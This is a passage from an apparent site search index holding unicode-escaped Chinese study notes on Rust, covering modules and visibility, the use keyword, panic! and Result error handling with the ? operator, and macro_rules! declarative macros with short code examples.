<pre><code>crate::nation::government::govern();\n</code></pre> \u662f\u63cf\u8ff0 govern \u51fd\u6570\u7684\u7edd\u5bf9\u8def\u5f84\uff0c\u76f8\u5bf9\u8def\u5f84\u53ef\u4ee5\u8868\u793a\u4e3a\uff1a <pre><code>nation::government::govern();\n</code></pre> \u73b0\u5728\u4f60\u53ef\u4ee5\u5c1d\u8bd5\u5728\u4e00\u4e2a\u6e90\u7a0b\u5e8f\u91cc\u5b9a\u4e49\u7c7b\u4f3c\u7684\u6a21\u5757\u7ed3\u6784\u5e76\u5728\u4e3b\u51fd\u6570\u4e2d\u4f7f\u7528\u8def\u5f84\u3002</p> <p>\u5982\u679c\u4f60\u8fd9\u6837\u505a\uff0c\u4f60\u4e00\u5b9a\u4f1a\u53d1\u73b0\u5b83\u4e0d\u6b63\u786e\u7684\u5730\u65b9\uff1agovernment \u6a21\u5757\u548c\u5176\u4e2d\u7684\u51fd\u6570\u90fd\u662f\u79c1\u6709\uff08private\uff09\u7684\uff0c\u4f60\u4e0d\u88ab\u5141\u8bb8\u8bbf\u95ee\u5b83\u4eec\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_37","title":"\u8bbf\u95ee\u6743\u9650","text":"<p>Rust \u4e2d\u6709\u4e24\u79cd\u7b80\u5355\u7684\u8bbf\u95ee\u6743\uff1a\u516c\u5171\uff08public\uff09\u548c\u79c1\u6709\uff08private\uff09\u3002</p> <p>\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u5982\u679c\u4e0d\u52a0\u4fee\u9970\u7b26\uff0c\u6a21\u5757\u4e2d\u7684\u6210\u5458\u8bbf\u95ee\u6743\u5c06\u662f\u79c1\u6709\u7684\u3002</p> <p>\u5982\u679c\u60f3\u4f7f\u7528\u516c\u5171\u6743\u9650\uff0c\u9700\u8981\u4f7f\u7528 pub \u5173\u952e\u5b57\u3002</p> <p>\u5bf9\u4e8e\u79c1\u6709\u7684\u6a21\u5757\uff0c\u53ea\u6709\u5728\u4e0e\u5176\u5e73\u7ea7\u7684\u4f4d\u7f6e\u6216\u4e0b\u7ea7\u7684\u4f4d\u7f6e\u624d\u80fd\u8bbf\u95ee\uff0c\u4e0d\u80fd\u4ece\u5176\u5916\u90e8\u8bbf\u95ee\u3002 <pre><code>mod nation {\n    pub mod government {\n        pub fn govern() {}\n    }\n\n    mod congress {\n        pub fn legislate() {}\n    }\n\n    mod court {\n        fn judicial() {\n            super::congress::legislate();\n        }\n    }\n}\n\nfn main() {\n    nation::government::govern();\n}\n</code></pre> \u8fd9\u6bb5\u7a0b\u5e8f\u662f\u80fd\u901a\u8fc7\u7f16\u8bd1\u7684\u3002\u8bf7\u6ce8\u610f\u89c2\u5bdf court \u6a21\u5757\u4e2d super \u7684\u8bbf\u95ee\u65b9\u6cd5\u3002</p> <p>\u5982\u679c\u6a21\u5757\u4e2d\u5b9a\u4e49\u4e86\u7ed3\u6784\u4f53\uff0c\u7ed3\u6784\u4f53\u9664\u4e86\u5176\u672c\u8eab\u662f\u79c1\u6709\u7684\u4ee5\u5916\uff0c\u5176\u5b57\u6bb5\u4e5f\u9ed8\u8ba4\u662f\u79c1\u6709\u7684\u3002\u6240\u4ee5\u5982\u679c\u60f3\u4f7f\u7528\u6a21\u5757\u4e2d\u7684\u7ed3\u6784\u4f53\u4ee5\u53ca\u5176\u5b57\u6bb5\uff0c\u9700\u8981 pub \u58f0\u660e\uff1a</p> <p><pre><code>mod back_of_house {\n    pub struct Breakfast {\n        pub toast: String,\n        seasonal_fruit: String,\n    }\n\n    impl Breakfast {\n        pub fn summer(toast: &amp;str) -&gt; Breakfast {\n            Breakfast {\n                toast: String::from(toast),\n                seasonal_fruit: String::from(\"peaches\"),\n            }\n        }\n    }\n}\npub fn eat_at_restaurant() {\n    let mut meal = back_of_house::Breakfast::summer(\"Rye\");\n    meal.toast = String::from(\"Wheat\");\n    println!(\"I'd like {} toast please\", meal.toast);\n}\nfn main() {\n    eat_at_restaurant()\n}\n</code></pre> \u679a\u4e3e\u7c7b\u679a\u4e3e\u9879\u53ef\u4ee5\u5185\u542b\u5b57\u6bb5\uff0c\u4f46\u4e0d\u5177\u5907\u7c7b\u4f3c\u7684\u6027\u8d28:</p> <pre><code>mod SomeModule {\n    pub enum Person {\n        King {\n            name: String\n        },\n        Queen\n    }\n}\n\nfn main() {\n    let person = SomeModule::Person::King{\n        name: String::from(\"Blue\")\n    };\n    match person {\n        SomeModule::Person::King {name} =&gt; {\n            println!(\"{}\", name);\n        }\n        _ =&gt; {}\n    }\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_38","title":"\u96be\u4ee5\u53d1\u73b0\u7684\u6a21\u5757","text":"<p>\u4f7f\u7528\u8fc7 Java \u7684\u5f00\u53d1\u8005\u5728\u7f16\u7a0b\u65f6\u5f80\u5f80\u975e\u5e38\u8ba8\u538c\u6700\u5916\u5c42\u7684 class \u5757\u2014\u2014\u5b83\u7684\u540d\u5b57\u4e0e\u6587\u4ef6\u540d\u4e00\u6a21\u4e00\u6837\uff0c\u56e0\u4e3a\u5b83\u5c31\u8868\u793a\u6587\u4ef6\u5bb9\u5668\uff0c\u5c3d\u7ba1\u5b83\u5f88\u7e41\u7410\u4f46\u6211\u4eec\u4e0d\u5f97\u4e0d\u5199\u4e00\u904d\u6765\u5f3a\u8c03\"\u8fd9\u4e2a\u7c7b\u662f\u6587\u4ef6\u6240\u5305\u542b\u7684\u7c7b\"\u3002</p> <p>\u4e0d\u8fc7\u8fd9\u6837\u6709\u4e00\u4e9b\u597d\u5904\uff1a\u8d77\u7801\u5b83\u8ba9\u5f00\u53d1\u8005\u660e\u660e\u767d\u767d\u7684\u610f\u8bc6\u5230\u4e86\u7c7b\u5305\u88c5\u7684\u5b58\u5728\uff0c\u800c\u4e14\u53ef\u4ee5\u660e\u786e\u7684\u63cf\u8ff0\u7c7b\u7684\u7ee7\u627f\u5173\u7cfb\u3002</p> <p>\u5728 Rust \u4e2d\uff0c\u6a21\u5757\u5c31\u50cf\u662f Java \u4e2d\u7684\u7c7b\u5305\u88c5\uff0c\u4f46\u662f\u6587\u4ef6\u4e00\u5f00\u5934\u5c31\u53ef\u4ee5\u5199\u4e00\u4e2a\u4e3b\u51fd\u6570\uff0c\u8fd9\u8be5\u5982\u4f55\u89e3\u91ca\u5462\uff1f</p> <p>\u6bcf\u4e00\u4e2a Rust \u6587\u4ef6\u7684\u5185\u5bb9\u90fd\u662f\u4e00\u4e2a\"\u96be\u4ee5\u53d1\u73b0\"\u7684\u6a21\u5757\u3002</p> <p>\u8ba9\u6211\u4eec\u7528\u4e24\u4e2a\u6587\u4ef6\u6765\u63ed\u793a\u8fd9\u4e00\u70b9\uff1a</p> <pre><code>// main.rs\nmod second_module;\n\nfn main() {\n    println!(\"This is the main module.\");\n    println!(\"{}\", second_module::message());\n}\n</code></pre> <p><pre><code>// second_module.rs\npub fn message() -&gt; String {\n    String::from(\"This is the 2nd module.\")\n}\n</code></pre> \u8f93\u51fa <pre><code>This is the main module.\nThis is the 2nd module.\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#use","title":"use\u5173\u952e\u5b57","text":"<p>use \u5173\u952e\u5b57\u80fd\u591f\u5c06\u6a21\u5757\u6807\u8bc6\u7b26\u5f15\u5165\u5f53\u524d\u4f5c\u7528\u57df\uff1a</p> <pre><code>mod nation {\n    pub mod government {\n        pub fn govern() {}\n    }\n}\n\nuse crate::nation::government::govern;\n\nfn main() {\n    govern();\n}\n</code></pre> <p>\u8fd9\u6bb5\u7a0b\u5e8f\u80fd\u591f\u901a\u8fc7\u7f16\u8bd1\u3002</p> <p>\u56e0\u4e3a use \u5173\u952e\u5b57\u628a govern \u6807\u8bc6\u7b26\u5bfc\u5165\u5230\u4e86\u5f53\u524d\u7684\u6a21\u5757\u4e0b\uff0c\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528\u3002</p> <p>\u8fd9\u6837\u5c31\u89e3\u51b3\u4e86\u5c40\u90e8\u6a21\u5757\u8def\u5f84\u8fc7\u957f\u7684\u95ee\u9898\u3002</p> <p>\u5f53\u7136\uff0c\u6709\u4e9b\u60c5\u51b5\u4e0b\u5b58\u5728\u4e24\u4e2a\u76f8\u540c\u7684\u540d\u79f0\uff0c\u4e14\u540c\u6837\u9700\u8981\u5bfc\u5165\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528 as \u5173\u952e\u5b57\u4e3a\u6807\u8bc6\u7b26\u6dfb\u52a0\u522b\u540d\uff1a</p> <pre><code>mod nation {\n    pub mod government {\n        pub fn govern() {}\n    }\n    pub fn govern() {}\n}\n\nuse crate::nation::government::govern;\nuse crate::nation::govern as nation_govern;\n\nfn main() {\n    nation_govern();\n    govern();\n}\n</code></pre> <p>\u8fd9\u91cc\u6709\u4e24\u4e2a <code>govern</code> \u51fd\u6570\uff0c\u4e00\u4e2a\u662f <code>nation</code> \u4e0b\u7684\uff0c\u4e00\u4e2a\u662f <code>government</code> \u4e0b\u7684\uff0c\u6211\u4eec\u7528 <code>as</code> \u5c06 <code>nation</code> \u4e0b\u7684\u53d6\u522b\u540d <code>nation_govern</code>\u3002\u4e24\u4e2a\u540d\u79f0\u53ef\u4ee5\u540c\u65f6\u4f7f\u7528\u3002</p> <p><code>use</code> \u5173\u952e\u5b57\u53ef\u4ee5\u4e0e <code>pub</code> \u5173\u952e\u5b57\u914d\u5408\u4f7f\u7528\uff1a</p> <pre><code>mod nation {\n    pub mod government {\n        pub fn govern() {}\n    }\n    pub use government::govern;\n}\n\nfn main() {\n    nation::govern();\n}\n</code></pre> <p>\u7136\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u8f7b\u677e\u5730\u5bfc\u5165\u7cfb\u7edf\u5e93\u6765\u5f00\u53d1\u7a0b\u5e8f\u4e86 <pre><code>use std::f64::consts::PI;\n\nfn main() {\n    println!(\"{}\", (PI / 2.0).sin());\n}\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_39","title":"\u9519\u8bef\u5904\u7406","text":"<p>Rust \u6709\u4e00\u5957\u72ec\u7279\u7684\u5904\u7406\u5f02\u5e38\u60c5\u51b5\u7684\u673a\u5236\uff0c\u5b83\u5e76\u4e0d\u50cf\u5176\u5b83\u8bed\u8a00\u4e2d\u7684 try \u673a\u5236\u90a3\u6837\u7b80\u5355\u3002</p> <p>\u9996\u5148\uff0c\u7a0b\u5e8f\u4e2d\u4e00\u822c\u4f1a\u51fa\u73b0\u4e24\u79cd\u9519\u8bef\uff1a\u53ef\u6062\u590d\u9519\u8bef\u548c\u4e0d\u53ef\u6062\u590d\u9519\u8bef\u3002</p> <p>\u53ef\u6062\u590d\u9519\u8bef\u7684\u5178\u578b\u6848\u4f8b\u662f\u6587\u4ef6\u8bbf\u95ee\u9519\u8bef\uff0c\u5982\u679c\u8bbf\u95ee\u4e00\u4e2a\u6587\u4ef6\u5931\u8d25\uff0c\u6709\u53ef\u80fd\u662f\u56e0\u4e3a\u5b83\u6b63\u5728\u88ab\u5360\u7528\uff0c\u662f\u6b63\u5e38\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u7b49\u5f85\u6765\u89e3\u51b3\u3002</p> <p>\u4f46\u8fd8\u6709\u4e00\u79cd\u9519\u8bef\u662f\u7531\u7f16\u7a0b\u4e2d\u65e0\u6cd5\u89e3\u51b3\u7684\u903b\u8f91\u9519\u8bef\u5bfc\u81f4\u7684\uff0c\u4f8b\u5982\u8bbf\u95ee\u6570\u7ec4\u672b\u5c3e\u4ee5\u5916\u7684\u4f4d\u7f6e\u3002</p> <p>\u5927\u591a\u6570\u7f16\u7a0b\u8bed\u8a00\u4e0d\u533a\u5206\u8fd9\u4e24\u79cd\u9519\u8bef\uff0c\u5e76\u7528 <code>Exception</code> \uff08\u5f02\u5e38\uff09\u7c7b\u6765\u8868\u793a\u9519\u8bef\u3002\u5728 Rust \u4e2d\u6ca1\u6709 <code>Exception</code>\u3002</p> <p>\u5bf9\u4e8e\u53ef\u6062\u590d\u9519\u8bef\u7528 <code>Result&lt;T, E&gt;</code> \u7c7b\u6765\u5904\u7406\uff0c\u5bf9\u4e8e\u4e0d\u53ef\u6062\u590d\u9519\u8bef\u4f7f\u7528 <code>panic!</code> \u5b8f\u6765\u5904\u7406\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_40","title":"\u4e0d\u53ef\u6062\u590d\u9519\u8bef","text":"<p>\u4e0d\u53ef\u6062\u590d\u9519\u8bef\u4f1a\u5bfc\u81f4\u7a0b\u5e8f\u53d7\u5230\u81f4\u547d\u7684\u6253\u51fb\u800c\u7ec8\u6b62\u8fd0\u884c</p> <p>\u4f8b\u5982</p> <p><pre><code>fn main() {\n    panic!(\"error occured\");\n    println!(\"Hello, Rust\");\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c </p> <ul> <li> <p>\u7b2c\u4e00\u884c\u7b2c\u4e8c\u884c\u8f93\u51fa\u4e86<code>panic!</code>\u5b8f\u8c03\u7528\u7684\u4f4d\u7f6e\u4ee5\u53ca\u5176\u8f93\u51fa\u7684\u9519\u8bef\u4fe1\u606f</p> </li> <li> <p>\u7b2c\u4e8c\u884c\u662f\u4e00\u53e5\u63d0\u793a\u7b2c\u4e8c\u884c\u662f\u4e00\u53e5\u63d0\u793a\uff0c\u7ffb\u8bd1\u6210\u4e2d\u6587\u5c31\u662f\"\u901a\u8fc7 <code>RUST_BACKTRACE=1</code> \u73af\u5883\u53d8\u91cf\u8fd0\u884c\u4ee5\u663e\u793a\u56de\u6eaf\"\u3002</p> </li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#_41","title":"\u53ef\u6062\u590d\u7684\u9519\u8bef","text":"<p>\u6b64\u6982\u5ff5\u5341\u5206\u7c7b\u4f3c\u4e8e Java \u7f16\u7a0b\u8bed\u8a00\u4e2d\u7684\u5f02\u5e38\u3002\u5b9e\u9645\u4e0a\u5728 C \u8bed\u8a00\u4e2d\u6211\u4eec\u5c31\u5e38\u5e38\u5c06\u51fd\u6570\u8fd4\u56de\u503c\u8bbe\u7f6e\u6210\u6574\u6570\u6765\u8868\u8fbe\u51fd\u6570\u9047\u5230\u7684\u9519\u8bef\uff0c\u5728 Rust \u4e2d\u901a\u8fc7 Result \u679a\u4e3e\u7c7b\u4f5c\u8fd4\u56de\u503c\u6765\u8fdb\u884c\u5f02\u5e38\u8868\u8fbe\uff1a <pre><code>enum Result&lt;T, E&gt; {\n    Ok(T),\n    Err(E),\n}\n</code></pre> <p>\u5728 Rust \u6807\u51c6\u5e93\u4e2d\u53ef\u80fd\u4ea7\u751f\u5f02\u5e38\u7684\u51fd\u6570\u7684\u8fd4\u56de\u503c\u90fd\u662f Result \u7c7b\u578b\u7684\u3002\u4f8b\u5982\uff1a\u5f53\u6211\u4eec\u5c1d\u8bd5\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\u65f6\uff1a <pre><code>use std::fs::File;\n\nfn main() {\n    let f = File::open(\"hello.txt\");\n    if let Ok(file) = f {\n        println!(\"File opened successfully.\");\n    } else {\n        println!(\"Failed to open the file.\");\n    }\n}\n</code></pre></p> <p>\u5982\u679c\u60f3\u4f7f\u4e00\u4e2a\u53ef\u6062\u590d\u9519\u8bef\u6309\u4e0d\u53ef\u6062\u590d\u9519\u8bef\u5904\u7406\uff0cResult \u7c7b\u63d0\u4f9b\u4e86\u4e24\u4e2a\u529e\u6cd5\uff1aunwrap() \u548c expect(message: &amp;str) \uff1a</p> <pre><code>use std::fs::File;\n\nfn main() {\n    let f1 = File::open(\"hello.txt\").unwrap();\n    let f2 = File::open(\"hello.txt\").expect(\"Failed to open.\");\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_42","title":"\u53ef\u6062\u590d\u7684\u9519\u8bef\u7684\u4f20\u9012","text":"<p>\u4e4b\u524d\u6240\u8bb2\u7684\u662f\u63a5\u6536\u5230\u9519\u8bef\u7684\u5904\u7406\u65b9\u5f0f\uff0c\u4f46\u662f\u5982\u679c\u6211\u4eec\u81ea\u5df1\u7f16\u5199\u4e00\u4e2a\u51fd\u6570\u5728\u9047\u5230\u9519\u8bef\u65f6\u60f3\u4f20\u9012\u51fa\u53bb\u600e\u4e48\u529e\u5462\uff1f</p> <p><pre><code>fn f(i: i32) -&gt; Result&lt;i32, bool&gt; {\n    if i &gt;= 0 { Ok(i) }\n    else { Err(false) }\n}\n\nfn main() {\n    let r = f(10000);\n    if let Ok(v) = r {\n        println!(\"Ok: f(-1) = {}\", v);\n    } else {\n        println!(\"Err\");\n    }\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c <pre><code>Ok: f(-1) = 10000\n</code></pre></p> <p>\u6211\u4eec\u518d\u5199\u4e00\u4e2a\u4f20\u9012\u9519\u8bef\u7684\u51fd\u6570 g \uff1a <pre><code>fn g(i: i32) -&gt; Result&lt;i32, bool&gt; {\n    let t = f(i);\n    return match t {\n        Ok(i) =&gt; Ok(i),\n        Err(b) =&gt; Err(b)\n    };\n}\n</code></pre> \u51fd\u6570 g \u4f20\u9012\u4e86\u51fd\u6570 f \u53ef\u80fd\u51fa\u73b0\u7684\u9519\u8bef\uff08\u8fd9\u91cc\u7684 g \u53ea\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\uff0c\u5b9e\u9645\u4e0a\u4f20\u9012\u9519\u8bef\u7684\u51fd\u6570\u4e00\u822c\u8fd8\u5305\u542b\u5f88\u591a\u5176\u5b83\u64cd\u4f5c\uff09\u3002</p> <p>Rust \u4e2d\u53ef\u4ee5\u5728 Result \u5bf9\u8c61\u540e\u6dfb\u52a0 ? \u64cd\u4f5c\u7b26\u5c06\u540c\u7c7b\u7684 Err \u76f4\u63a5\u4f20\u9012\u51fa\u53bb\uff1a</p> <p><pre><code>fn f(i: i32) -&gt; Result&lt;i32, bool&gt; {\n    if i &gt;= 0 { Ok(i) }\n    else { Err(false) }\n}\n\nfn g(i: i32) -&gt; Result&lt;i32, bool&gt; {\n    let t = f(i)?;\n    Ok(t) // \u56e0\u4e3a\u786e\u5b9a t \u4e0d\u662f Err, t \u5728\u8fd9\u91cc\u5df2\u7ecf\u662f i32 \u7c7b\u578b\n}\n\nfn main() {\n    let r = g(-10000);\n    if let Ok(v) = r {\n        println!(\"Ok: g(10000) = {}\", v);\n    } else {\n        println!(\"Err\");\n    }\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c\u4e3a<code>Err</code></p> <p>? \u7b26\u7684\u5b9e\u9645\u4f5c\u7528\u662f\u5c06 Result \u7c7b\u975e\u5f02\u5e38\u7684\u503c\u76f4\u63a5\u53d6\u51fa\uff0c\u5982\u679c\u6709\u5f02\u5e38\u5c31\u5c06\u5f02\u5e38 Result \u8fd4\u56de\u51fa\u53bb\u3002\u6240\u4ee5\uff0c? \u7b26\u4ec5\u7528\u4e8e\u8fd4\u56de\u503c\u7c7b\u578b\u4e3a Result \u7684\u51fd\u6570\uff0c\u5176\u4e2d E \u7c7b\u578b\u5fc5\u987b\u548c ? \u6240\u5904\u7406\u7684 Result \u7684 E \u7c7b\u578b\u4e00\u81f4\u3002 <p>Kind</p> <p>\u5230\u6b64\u4e3a\u6b62\uff0cRust \u4f3c\u4e4e\u6ca1\u6709\u50cf try \u5757\u4e00\u6837\u53ef\u4ee5\u4ee4\u4efb\u4f55\u4f4d\u7f6e\u53d1\u751f\u7684\u540c\u7c7b\u5f02\u5e38\u90fd\u76f4\u63a5\u5f97\u5230\u76f8\u540c\u7684\u89e3\u51b3\u7684\u8bed\u6cd5\uff0c\u4f46\u8fd9\u6837\u5e76\u4e0d\u610f\u5473\u7740 Rust \u5b9e\u73b0\u4e0d\u4e86\uff1a\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u628a try \u5757\u5728\u72ec\u7acb\u7684\u51fd\u6570\u4e2d\u5b9e\u73b0\uff0c\u5c06\u6240\u6709\u7684\u5f02\u5e38\u90fd\u4f20\u9012\u51fa\u53bb\u89e3\u51b3\u3002\u5b9e\u9645\u4e0a\u8fd9\u624d\u662f\u4e00\u4e2a\u5206\u5316\u826f\u597d\u7684\u7a0b\u5e8f\u5e94\u5f53\u9075\u5faa\u7684\u7f16\u7a0b\u65b9\u6cd5\uff1a\u5e94\u8be5\u6ce8\u91cd\u72ec\u7acb\u529f\u80fd\u7684\u5b8c\u6574\u6027\u3002</p> <p>\u4f46\u662f\u8fd9\u6837\u9700\u8981\u5224\u65ad Result \u7684 Err \u7c7b\u578b\uff0c\u83b7\u53d6 Err \u7c7b\u578b\u7684\u51fd\u6570\u662f kind()\u3002</p> <p><pre><code>use std::io;\nuse std::io::Read;\nuse std::fs::File;\n\nfn read_text_from_file(path: &amp;str) -&gt; Result&lt;String, io::Error&gt; {\n    let mut f = File::open(path)?;//\u9996\u5148\u5224\u65ad\u6587\u4ef6\u662f\u5426\u5b58\u5728\n    let mut s = String::new();\n    f.read_to_string(&amp;mut s)?;//\u5224\u65ad\u662f\u5426\u8bfb\u53d6\u5931\u8d25\n    Ok(s)\n}\n\nfn main() {\n    let str_file = read_text_from_file(\"hello.txt\");\n    match str_file {\n        Ok(s) =&gt; println!(\"{}\", s),\n        Err(e) =&gt; {\n            match e.kind() {//\u6839\u636ekind\u5206\u7c7b\n                io::ErrorKind::NotFound =&gt; {\n                    println!(\"No such file\");\n                },\n                _ =&gt; {\n                    println!(\"Cannot read the file\");\n                }\n            }\n        }\n    }\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c <pre><code>No such file\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_43","title":"\u5b8f","text":"<p>Rust \u5b8f\uff08Macros\uff09\u662f\u4e00\u79cd\u5728\u7f16\u8bd1\u65f6\u751f\u6210\u4ee3\u7801\u7684\u5f3a\u5927\u5de5\u5177\uff0c\u5b83\u5141\u8bb8\u4f60\u5728\u7f16\u5199\u4ee3\u7801\u65f6\u521b\u5efa\u81ea\u5b9a\u4e49\u8bed\u6cd5\u6269\u5c55\u3002</p> <p>\u5b8f\uff08Macro\uff09\u662f\u4e00\u79cd\u5728\u4ee3\u7801\u4e2d\u8fdb\u884c\u5143\u7f16\u7a0b\uff08Metaprogramming\uff09\u7684\u6280\u672f\uff0c\u5b83\u5141\u8bb8\u5728\u7f16\u8bd1\u65f6\u751f\u6210\u4ee3\u7801\uff0c\u5b8f\u53ef\u4ee5\u5e2e\u52a9\u7b80\u5316\u4ee3\u7801\uff0c\u63d0\u9ad8\u4ee3\u7801\u7684\u53ef\u8bfb\u6027\u548c\u53ef\u7ef4\u62a4\u6027\uff0c\u540c\u65f6\u5141\u8bb8\u5f00\u53d1\u8005\u5728\u7f16\u8bd1\u65f6\u6267\u884c\u4e00\u4e9b\u4ee3\u7801\u751f\u6210\u7684\u64cd\u4f5c\u3002</p> <p>\u5b8f\u5728 Rust \u4e2d\u6709\u4e24\u79cd\u7c7b\u578b\uff1a\u58f0\u660e\u5f0f\u5b8f\uff08Declarative Macros\uff09\u548c\u8fc7\u7a0b\u5b8f\uff08Procedural Macros\uff09\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_44","title":"\u5b9a\u4e49\u5b8f","text":"<p>\u5728 Rust \u4e2d\uff0c\u4f7f\u7528 <code>macro_rules!</code> \u5173\u952e\u5b57\u6765\u5b9a\u4e49\u58f0\u660e\u5f0f\u5b8f\u3002</p> <p>\u4e3b\u8981\u683c\u5f0f\u4e3a</p> <pre><code>macro_rules! my_macro {\n    // \u6a21\u5f0f\u5339\u914d\u548c\u5c55\u5f00\n    ($arg:expr) =&gt; {\n        // \u751f\u6210\u7684\u4ee3\u7801\n        // \u4f7f\u7528 $arg \u6765\u4ee3\u66ff\u5339\u914d\u5230\u7684\u8868\u8fbe\u5f0f\n    };\n}\n</code></pre> <p>\u58f0\u660e\u5f0f\u5b8f\u4f7f\u7528 <code>macro_rules</code>! \u5173\u952e\u5b57\u8fdb\u884c\u5b9a\u4e49\uff0c\u5b83\u4eec\u88ab\u79f0\u4e3a \"macro_rules\" \u5b8f\u3002\u8fd9\u79cd\u5b8f\u7684\u5b9a\u4e49\u662f\u57fa\u4e8e\u6a21\u5f0f\u5339\u914d\u7684\uff0c\u53ef\u4ee5\u5339\u914d\u4ee3\u7801\u7684\u7ed3\u6784\u5e76\u6839\u636e\u5339\u914d\u7684\u6a21\u5f0f\u751f\u6210\u76f8\u5e94\u7684\u4ee3\u7801\u3002\u8fd9\u6837\u7684\u5b8f\u5728\u4e0d\u5f15\u5165\u65b0\u7684\u8bed\u6cd5\u7ed3\u6784\u7684\u60c5\u51b5\u4e0b\uff0c\u53ef\u4ee5\u7528\u6765\u7b80\u5316\u4e00\u4e9b\u901a\u7528\u7684\u4ee3\u7801\u6a21\u5f0f\u3002</p> <p>\u8fd9\u91cc\u6709\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50</p> <p>Example</p> <pre><code>    // \u5b8f\u7684\u5b9a\u4e49\nmacro_rules! greet {\n    // \u6a21\u5f0f\u5339\u914d\n    ($name:expr) =&gt; {\n        // \u5b8f\u7684\u5c55\u5f00\n        println!(\"Hello, {}!\", $name);\n    };\n}\n\nfn main() {\n    // \u8c03\u7528\u5b8f\n    greet!(\"World\");\n}\n</code></pre> <p>\u5b9a\u4e49\u5b8f (<code>macro_rules! greet</code>) <pre><code>macro_rules! greet {\n    // \u6a21\u5f0f\u5339\u914d\n    ($name:expr) =&gt; {\n        // \u5b8f\u7684\u5c55\u5f00\n        println!(\"Hello, {}!\", $name);\n    };\n}\n</code></pre> - <code>macro_rules! greet</code> \u662f\u5b8f\u5b9a\u4e49\u7684\u8bed\u6cd5\u3002\u5728 Rust \u4e2d\uff0c\u5b8f\u662f\u4e00\u79cd\u7528\u4e8e\u751f\u6210\u4ee3\u7801\u7684\u673a\u5236\u3002 - <code>greet</code> \u662f\u5b8f\u7684\u540d\u5b57\u3002 - <code>($name:expr)</code> \u662f\u5b8f\u7684\u6a21\u5f0f\u5339\u914d\u90e8\u5206\u3002\u8fd9\u91cc\u5339\u914d\u4e00\u4e2a\u8868\u8fbe\u5f0f\uff08<code>expr</code>\uff09\uff0c\u5e76\u5c06\u5176\u7ed1\u5b9a\u5230 <code>$name</code> \u4e0a\u3002 - <code>=&gt; { ... }</code> \u662f\u5b8f\u7684\u5c55\u5f00\u90e8\u5206\u3002\u5f53\u5b8f\u88ab\u8c03\u7528\u65f6\uff0c\u5339\u914d\u5230\u7684\u8868\u8fbe\u5f0f\u4f1a\u88ab\u63d2\u5165\u5230\u8fd9\u4e2a\u4f4d\u7f6e\u3002\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c\u5b83\u4f1a\u5c55\u5f00\u6210\u4e00\u6761 <code>println!</code> \u8bed\u53e5\uff0c\u8f93\u51fa\u4e00\u4e2a\u5e26\u6709\u53d8\u91cf <code>$name</code> \u7684\u5b57\u7b26\u4e32\u3002</p> <ol> <li>\u4f7f\u7528\u5b8f <pre><code>fn main() {\n    // \u8c03\u7528\u5b8f\n    greet!(\"World\");\n}\n</code></pre></li> <li><code>fn main()</code> \u662f\u7a0b\u5e8f\u7684\u5165\u53e3\u51fd\u6570\u3002</li> <li><code>greet!(\"World\");</code> \u662f\u5bf9\u5b8f <code>greet</code> \u7684\u8c03\u7528\u3002\u5728\u8c03\u7528\u65f6\uff0c<code>\"World\"</code> \u8fd9\u4e2a\u5b57\u7b26\u4e32\u5b57\u9762\u91cf\u4f1a\u88ab\u4f20\u9012\u7ed9\u5b8f\u4e2d\u7684 <code>$name</code>\u3002</li> </ol> <p>\u5728\u7f16\u8bd1\u65f6\uff0c\u5b8f\u4f1a\u88ab\u5c55\u5f00\u6210\u5e38\u89c4\u4ee3\u7801\u3002\u5bf9\u4e8e\u8fd9\u6bb5\u4ee3\u7801\u6765\u8bf4\uff0c<code>greet!(\"World\");</code> \u4f1a\u5c55\u5f00\u6210\uff1a <pre><code>println!(\"Hello, {}!\", \"World\");\n</code></pre> \u6700\u7ec8\u8fd0\u884c\u65f6\u4f1a\u6253\u5370\u51fa\uff1a <pre><code>Hello, World!\n</code></pre></p> <p>\u4e0b\u9762\u662f\u4e00\u4e2a\u66f4\u590d\u6742\u7684\u4f8b\u5b50</p> <p>Example</p> <pre><code>    // \u5b8f\u7684\u5b9a\u4e49\nmacro_rules! vec {\n    // \u57fa\u672c\u60c5\u51b5\uff0c\u7a7a\u7684\u60c5\u51b5\n    () =&gt; {\n        Vec::new()\n    };\n\n    // \u9012\u5f52\u60c5\u51b5\uff0c\u5e26\u6709\u5143\u7d20\u7684\u60c5\u51b5\n    ($($element:expr),+ $(,)?) =&gt; {\n        {\n            let mut temp_vec = Vec::new();\n            $(\n                temp_vec.push($element);\n            )+\n            temp_vec\n        }\n    };\n}\n\nfn main() {\n    // \u8c03\u7528\u5b8f\n    let my_vec = vec![1, 2, 3];\n    println!(\"{:?}\", my_vec); // \u8f93\u51fa: [1, 2, 3]\n\n    let empty_vec = vec![];\n    println!(\"{:?}\", empty_vec); // \u8f93\u51fa: []\n}\n</code></pre> <ol> <li>\u5b9a\u4e49\u5b8f (<code>macro_rules! vec</code>) <pre><code>macro_rules! vec {\n    // \u57fa\u672c\u60c5\u51b5\uff0c\u7a7a\u7684\u60c5\u51b5\n    () =&gt; {\n        Vec::new()\n    };\n\n    // \u9012\u5f52\u60c5\u51b5\uff0c\u5e26\u6709\u5143\u7d20\u7684\u60c5\u51b5\n    ($($element:expr),+ $(,)?) =&gt; {\n        {\n            let mut temp_vec = Vec::new();\n            $(\n                temp_vec.push($element);\n            )+\n            temp_vec\n        }\n    };\n}\n</code></pre> a. 